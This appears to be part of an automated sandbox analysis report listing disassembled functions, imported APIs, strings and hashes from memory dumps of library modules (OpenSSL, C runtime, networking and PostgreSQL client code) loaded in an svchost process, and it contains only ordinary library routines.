Opcode ID: 440052d8aa252fc403e1b18fb0074ef3cf7239a02d1e66a828f150907f6617e9
Instruction ID: 23c02f4dd58f31fbc6496d8d961764350bd0035fc9b21b864d937e7f42137752
Opcode Fuzzy Hash: 440052d8aa252fc403e1b18fb0074ef3cf7239a02d1e66a828f150907f6617e9
Instruction Fuzzy Hash: 0C617A32606BC185E302CF34D4583DA36A0EB46BACF480338DAA94F7DADFB99044C765

Function 00007FFDA55BABE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 00007FFDA55BAC44
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA55BAC5A
strchr.VCRUNTIME140 ref: 00007FFDA55BAC77

Strings

Unknown error, xrefs: 00007FFDA55BABE0

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: FormatMessagestrchrwcstombs
String ID: Unknown error
API String ID: 4171340688-83687255
Opcode ID: d63315eb628f02752e1d799c39d56083ab3544685e630d18f0dd8773cc4336b0
Instruction ID: cb95a534138bb18fa7249b478754e35165aecd3209cd8ce3b8932d59c7943ec2
Opcode Fuzzy Hash: d63315eb628f02752e1d799c39d56083ab3544685e630d18f0dd8773cc4336b0
Instruction Fuzzy Hash: C821982671D7C586EB338F24E8583696790AF8AF94F494230DA9D077C6EF7CD4448718

Function 00007FFD942ECFE8 Relevance: 6.2, APIs: 4, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00007FFD942F8C55,?,00007FFD942CA8D5,?), ref: 00007FFD942ED106

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 4989929f418510be00eaad4ba0abfe9a455c1d8ff00d167898f5db528b5556ad
Instruction ID: 5f43c5fa63b86a7f06aeb351dc595c164bdb27d47511c399950dc104a2ea5541
Opcode Fuzzy Hash: 4989929f418510be00eaad4ba0abfe9a455c1d8ff00d167898f5db528b5556ad
Instruction Fuzzy Hash: 1491B362F3875285FB74DBA594E06BF27A0BB56B88F448135DE0E67687CE3AE445C300

Function 00007FFDA333EE40 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA3353F40: ENGINE_finish.LIBCRYPTO-3-X64(?,00007FFDA333EE67,?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA3353F72

ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE6C
OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE73
EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE81
ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE89

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: E_finishJ_nid2snR_fetchR_pop_to_markR_set_mark
String ID:
API String ID: 3538331334-0
Opcode ID: 0927e5fbf129b9b27b48d1e726e7108ff00c565c336dec268f6d8413cdae8668
Instruction ID: 6c2f5160d8937e116d80955e8fba28b4f2ce4e2d4abfb83f1dc352ea0030accf
Opcode Fuzzy Hash: 0927e5fbf129b9b27b48d1e726e7108ff00c565c336dec268f6d8413cdae8668
Instruction Fuzzy Hash: 66F0A012F0EB8202E944B762746516D95539F98BC0F088838FE4D67B9BEE2EE8410308

Function 00007FFDA55CC9C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

Strings

SSL/TLS connection timeout, xrefs: 00007FFDA55CCAFC
select/poll on SSL/TLS socket, errno: %d, xrefs: 00007FFDA55CCAE3

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: e24ff53aba0dff93155571de1f8b73ad3d7d0d7574eac73b64d0d30358c8a112
Instruction ID: 171f72810d4e27c2b757d771621513500b6443285c7f989378c1070174215bea
Opcode Fuzzy Hash: e24ff53aba0dff93155571de1f8b73ad3d7d0d7574eac73b64d0d30358c8a112
Instruction Fuzzy Hash: 2241D339B0E64A81EA21CE2695243796690AF43FE8F548630DE7D07BD7EF3DE0418708

Function 00007FFD942464F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFD94246608
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFD9424660E

Part of subcall function 00007FFD94242B80: __std_exception_copy.LIBVCRUNTIME ref: 00007FFD94242BC4

Strings

x543664, xrefs: 00007FFD942464F6

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: x543664
API String ID: 2371198981-674063047
Opcode ID: ff84634ca94604e23106da7364d75e2a8d33db04dc11fb5fd61d0feea1d68e3b
Instruction ID: 62d78ff30dabd57abd03ccedc7599697f146824d0058e5f5c02738b5ece406c7
Opcode Fuzzy Hash: ff84634ca94604e23106da7364d75e2a8d33db04dc11fb5fd61d0feea1d68e3b
Instruction Fuzzy Hash: D431A062F05B4181EA29DBA5D1A03682290FF56BF4F248731DA7D426D6EE7ED4D2C340

Function 00007FFDA37765B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDA37765E2
SHGetFolderPathA.SHELL32 ref: 00007FFDA37765FD

Strings

%s/postgresql, xrefs: 00007FFDA3776613

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: FolderPathmemset
String ID: %s/postgresql
API String ID: 2932979005-376571750
Opcode ID: a8fce3c0427880ed849f8b9a4333abb74a1f45ffb7affd3f26d277be77a27f7c
Instruction ID: 464c74d7c3bc94afe72dadee665fd8383c7ebb9ec214d9367e105aece292d3db
Opcode Fuzzy Hash: a8fce3c0427880ed849f8b9a4333abb74a1f45ffb7affd3f26d277be77a27f7c
Instruction Fuzzy Hash: 1001FC32B2DA8182EBB08B21F461BFA7362EB88784F805131D94D17B46CE3DD005CB04

Function 00007FFDA5579BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5579CD7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5579DBB

Strings

%u/%ld/%s, xrefs: 00007FFDA5579C6C, 00007FFDA5579D44

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: freemalloc
String ID: %u/%ld/%s
API String ID: 3061335427-1579391714
Opcode ID: 6e01879f14104608e8d482a9960c4a0608cb097af282014483f6cf99bded7ff6
Instruction ID: de6c0f1ee6c90216429938cd4ddbd9a0153f7513fea3ba5688f470df06f13fd2
Opcode Fuzzy Hash: 6e01879f14104608e8d482a9960c4a0608cb097af282014483f6cf99bded7ff6
Instruction Fuzzy Hash: F261AF6AB0EB8A86EB628F11E4607AA3775FB46F84F444531DE4D0B786CF38E505C714

Function 00007FFDA55787E0 Relevance: 4.5, APIs: 3, Instructions: 37networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 00007FFDA5578804
getsockopt.WS2_32 ref: 00007FFDA5578827
WSAGetLastError.WS2_32 ref: 00007FFDA5578831

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: cbea957c7a8fdcc0c36749ae218925b5f3caa1a0fc7cb6f7d3f347c8bc36a720
Instruction ID: 28b4d6e1d4d903c7ae30f8dc6c7d3a49b22a6285eda8eead78f2c1942f320598
Opcode Fuzzy Hash: cbea957c7a8fdcc0c36749ae218925b5f3caa1a0fc7cb6f7d3f347c8bc36a720
Instruction Fuzzy Hash: D5018F37B0D68793E7698F11E46433AA7A0AB46B90F244834EE8D82B99DF3DD444CB04

Function 00007FFDA3788180 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

APIs

X509_free.LIBCRYPTO-3-X64 ref: 00007FFDA37881D7
ENGINE_finish.LIBCRYPTO-3-X64 ref: 00007FFDA37881F3
ENGINE_free.LIBCRYPTO-3-X64 ref: 00007FFDA37881FF

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: E_finishE_freeX509_free
String ID:
API String ID: 769585774-0
Opcode ID: b59662237c3bc5e40f8e3037610cea79ead3f114ad4d00d2abc8a578c68cf0d8
Instruction ID: 6511e38d3030e8abe19eb916aafc696fa22e227fb1494b360e8df15e8ecf67a1
Opcode Fuzzy Hash: b59662237c3bc5e40f8e3037610cea79ead3f114ad4d00d2abc8a578c68cf0d8
Instruction Fuzzy Hash: 6711A962B8B6C386EB65DF20D1713B83611EF40F89F1C0039DB492A387CF3A91818328

Function 00007FFDA5586560 Relevance: 4.5, APIs: 3, Instructions: 26COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00007FFDA557A4D4), ref: 00007FFDA558656B
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,00007FFDA557A4D4), ref: 00007FFDA5586591
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,00007FFDA557A4D4), ref: 00007FFDA55865A5

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 487b4586fa51d13810dd78a9784ac8cd9bbedfc040dbe52416832f73b9c144de
Instruction ID: bf1971222a595a6056592c638902e7d5701a09bb673b6a02a1be697c76d600e5
Opcode Fuzzy Hash: 487b4586fa51d13810dd78a9784ac8cd9bbedfc040dbe52416832f73b9c144de
Instruction Fuzzy Hash: 77F0121AF2B80BC1E705DF51EC753751291AF95B50FC04030D00E427A2DE2CE5598744

Function 00007FFDA558FE20 Relevance: 3.8, APIs: 3, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,00007FFDA559119A), ref: 00007FFDA558FE52
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558FEEA
memmove.VCRUNTIME140 ref: 00007FFDA558FF02

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: malloc$memmove
String ID:
API String ID: 1808909948-0
Opcode ID: b35b362c05aff2789765e56d10a2213f184adf2532e6cfc79855a153cf41f60a
Instruction ID: a786c50f3ff5169b5c915e3786bafc1502d55f44478cf58551c9edefacb590f6
Opcode Fuzzy Hash: b35b362c05aff2789765e56d10a2213f184adf2532e6cfc79855a153cf41f60a
Instruction Fuzzy Hash: 12317C6A70AB55C2EA61CF56D46026963B0FF0AFC0B485435DF4D43B46EF38E465C304

Function 00007FFDA5575CD0 Relevance: 3.8, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5575D4D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5575D63

Part of subcall function 00007FFDA5578870: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA5574651), ref: 00007FFDA5578892

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5575DAF

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: callocfree
String ID:
API String ID: 306872129-0
Opcode ID: b72aaa71d823b0aa299c20d7c41a48865cc6457bf972838e1c8063c93baaf237
Instruction ID: 4410e58222e193b23be451d2820b83b3e56e7675e2d6b892a750211a6e9dc0d3
Opcode Fuzzy Hash: b72aaa71d823b0aa299c20d7c41a48865cc6457bf972838e1c8063c93baaf237
Instruction Fuzzy Hash: 4021F969B0E78641E6125F26A82437B6751BB86FD4F480431EE8D47753DF7CD2428304

Function 00007FFDA557B3D0 Relevance: 3.8, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557B442
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557B458
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557B4A9

Part of subcall function 00007FFDA5575CD0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5575D4D
Part of subcall function 00007FFDA5575CD0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5575D63

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$calloc
String ID:
API String ID: 3095843317-0
Opcode ID: 69fa5bebc68dcac98da7414f88ed7e2519d7086ffb7c23b33bd23f0b43c82365
Instruction ID: d73a652e4d7743636bf870ac6b356d01cb54b979000b2ab4beece4805d82c852
Opcode Fuzzy Hash: 69fa5bebc68dcac98da7414f88ed7e2519d7086ffb7c23b33bd23f0b43c82365
Instruction Fuzzy Hash: C021E136B0AB4A81E7129F12A8503A967A2FB85FE0F084435EE4C47B52EF7CD4418304

Function 00007FFDA37767A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDA3776861

Part of subcall function 00007FFDA377A920: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA377A942
Part of subcall function 00007FFDA377A920: strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA377A956
Part of subcall function 00007FFDA377A920: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA377A965
Part of subcall function 00007FFDA377A920: isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA377A983

Strings

connect_timeout, xrefs: 00007FFDA37767ED

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: _errno$_time64isspacestrtol
String ID: connect_timeout
API String ID: 1465606051-1301815820
Opcode ID: f9e2b2dd4110b161da813af918f7151e10ea1b4db753d8a941a0c659d0753ac6
Instruction ID: 8bff285f11271bd3f950ba244e2ec189bfab80e4af65f46cf53422758d20773c
Opcode Fuzzy Hash: f9e2b2dd4110b161da813af918f7151e10ea1b4db753d8a941a0c659d0753ac6
Instruction Fuzzy Hash: 55310732F0A1418AF7E48E2590205B976A2EF45B64F180235DE6D273CBCFBAE8419744

Function 00007FFDA333A280 Relevance: 3.2, APIs: 2, Instructions: 155COMMON

Download Yara Rule

APIs

BIO_free.LIBCRYPTO-3-X64(?,00000000,000004A0), ref: 00007FFDA337FFCA
BIO_free.LIBCRYPTO-3-X64(?,00000000,000004A0), ref: 00007FFDA337FFF7

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free
String ID:
API String ID: 2581946324-0
Opcode ID: e553ec5b8b0fed837ad59d7719962a035d2a56f82eaa6423f3b5d4b51490fcf7
Instruction ID: 6dbab1257e2afc9ca43deba98e1e095b2b3291a48d7618120e9882c6e2208e41
Opcode Fuzzy Hash: e553ec5b8b0fed837ad59d7719962a035d2a56f82eaa6423f3b5d4b51490fcf7
Instruction Fuzzy Hash: EE711133609B8086D750DF25E89025EB7E9F784B88F244939EE8D57B19CF39C4A1CB58

Function 00007FFDA337FF20 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

BIO_free.LIBCRYPTO-3-X64(?,00000000,000004A0), ref: 00007FFDA337FFCA
BIO_free.LIBCRYPTO-3-X64(?,00000000,000004A0), ref: 00007FFDA337FFF7

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free
String ID:
API String ID: 2581946324-0
Opcode ID: c3d226b7a5d4f18efd56db8e6d4485786acd9de6cc0e4b5505d7d8d09eaf298c
Instruction ID: 08d13b0d6caa96038ee17495821ad076c05bce36dc3db1cbc74315f716ce485b
Opcode Fuzzy Hash: c3d226b7a5d4f18efd56db8e6d4485786acd9de6cc0e4b5505d7d8d09eaf298c
Instruction Fuzzy Hash: DC511033608B8086D750DF25E89025AB7E9F784F88F244929EECD57B19CF39C4A1DB58

Function 00007FFDA33A2D10 Relevance: 3.1, APIs: 2, Instructions: 121COMMON

Download Yara Rule

APIs

BUF_MEM_grow.LIBCRYPTO-3-X64 ref: 00007FFDA33A2DAC
memcpy.VCRUNTIME140 ref: 00007FFDA33A2DCF

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
